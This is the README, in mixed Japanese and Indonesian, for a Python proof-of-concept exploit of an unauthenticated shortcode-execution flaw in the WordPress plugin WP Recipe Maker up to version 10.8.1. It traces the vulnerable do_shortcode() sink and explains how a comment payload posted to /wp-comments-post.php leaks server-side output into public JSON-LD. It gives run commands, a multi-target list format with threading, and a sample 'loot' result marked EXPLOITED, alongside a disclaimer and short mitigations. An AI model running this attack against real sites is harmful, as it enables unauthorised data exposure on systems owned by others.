
CVE-2026-89274 の Python PoC エクスプロイト。WordPress WP Recipe Maker <= 10.8.1 における、レシピコメントを介した未認証の任意ショートコード実行脆弱性です。
Poloss : @WPEF0
CVE-2026-89274 の Proof-of-Concept エクスプロイト — WordPress プラグイン WP Recipe Maker バージョン ≤ 10.8.1 における Unauthenticated Arbitrary Shortcode Execution 脆弱性。
⚠️ 法的・倫理的警告 このスクリプトはローカル環境(localhost/ラボ)でのセキュリティ研究のみを目的として提供されており、ご自身が所有していないシステム、または書面による許可のないシステムに対して使用してはなりません。作者は不正使用について一切の責任を負いません。第三者システムへの無断使用は刑事法に違反する可能性があります。
| Field | Nilai |
|---|
| CVE ID | CVE-2026-89274 |
| Target | WP Recipe Maker (wp-recipe-maker) ≤ 10.8.1 |
| Kelas | Code Injection (CWE-94) — Arbitrary Shortcode Execution |
| CVSS v3.1 | 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Vektor | Konten komentar resep (unauthenticated) |
| Sink | do_shortcode() pada class-wprm-metadata.php |
| Dampak | Eksekusi shortcode server-side → kebocoran data via JSON-LD publik |
| Author | Poloss |
includes/public/class-wprm-metadata.php :: sanitize_metadata()
Vulnerable (10.8.1):
$sanitized = strip_shortcodes( wp_strip_all_tags( do_shortcode( $metadata ) ) );
do_shortcode() はまずショートコードを実行し、その後 strip_shortcodes() はその出力をクリーンアップするだけです — 保護は一切ありません。
Patched (10.8.4):
$sanitized = strip_shortcodes( wp_strip_all_tags(
WPRM_Instacart::do_shortcode_safe( $metadata ) ) );
comment_content (komentar publik pada post resep)
└─> reviewBody (class-wprm-metadata.php:1017)
└─> $metadata['review'][] (line 1028)
└─> sanitize_metadata( get_metadata( $recipe ) ) (line 374)
└─> do_shortcode( $reviewBody ) ← SINK EKSEKUSI
└─> wp_json_encode() ke <script type="application/ld+json">
wprm-comment-rating フィールドが含まれていること(コメントフォーム経由で入力)。git clone <repo-url>
cd <repo>
python3 -m venv .venv
source .venv/bin/activate # Windows: .venv\Scripts\activate
# Tidak ada dependensi eksternal — hanya standard library Python 3.
要件: Python 3.8+。
python3 CVE-2026-89274.py -u http://localhost:8080 -p 10 \
--shortcode '[wprm-recipe-name id=11]' \
--marker 'PoC Recipe'
targets.txt の形式(1行に1つ、url[,post_id]):
http://lab1.local,10
http://lab2.local,25
# baris komentar diabaikan
http://lab3.local,7
python3 CVE-2026-89274.py -f targets.txt -t 10 -o loot.json
| Flag | Default | Deskripsi |
|---|---|---|
-u, --url | — | URL target tunggal |
-f, --file | — | File daftar target (url[,post_id] per baris) |
-p, --post | 10 | ID post yang memuat resep |
-t, --threads | 5 | Jumlah worker thread |
-o, --output | cve-2026-89274-loot.json | File output JSON |
--shortcode | [wprm-recipe-name id=11] | Payload shortcode yang dieksekusi |
--marker | PoC Recipe | Substring pembuktian eksekusi di reviewBody |
--rating | 5 | Nilai rating WPRM |
--timeout | 25 | Timeout per-request (detik) |
<script type="application/ld+json">, kumpulkan reviewBody./wp-comments-post.php dengan payload + field wprm-comment-rating.--marker muncul di reviewBody → EXPLOITED. Jika belum → PENDING_APPROVAL.| Status | Arti |
|---|---|
EXPLOITED | Shortcode tereksekusi & output bocor ke JSON-LD publik |
PENDING_APPROVAL | Komentar terkirim, menunggu persetujuan moderator |
FAIL | Halaman tidak reachable / komentar ditolak / error |
[
{
"target": "http://localhost:8080",
"post_id": 10,
"shortcode": "[wprm-recipe-name id=11]",
"marker": "PoC Recipe",
"author": "poc1716000000",
"review_bodies": ["PoC Recipe"],
"status": "EXPLOITED",
"evidence": "PoC Recipe",
"note": "shortcode executed server-side; output leaked into public JSON-LD reviewBody",
"elapsed": 9.12
}
]
comment_moderation = 1 を設定してコメントを厳格に監査してください。[...])をブロックする WAF ルールを適用してください。.
├── CVE-2026-89274.py # exploit utama
└── README.md # dokumen ini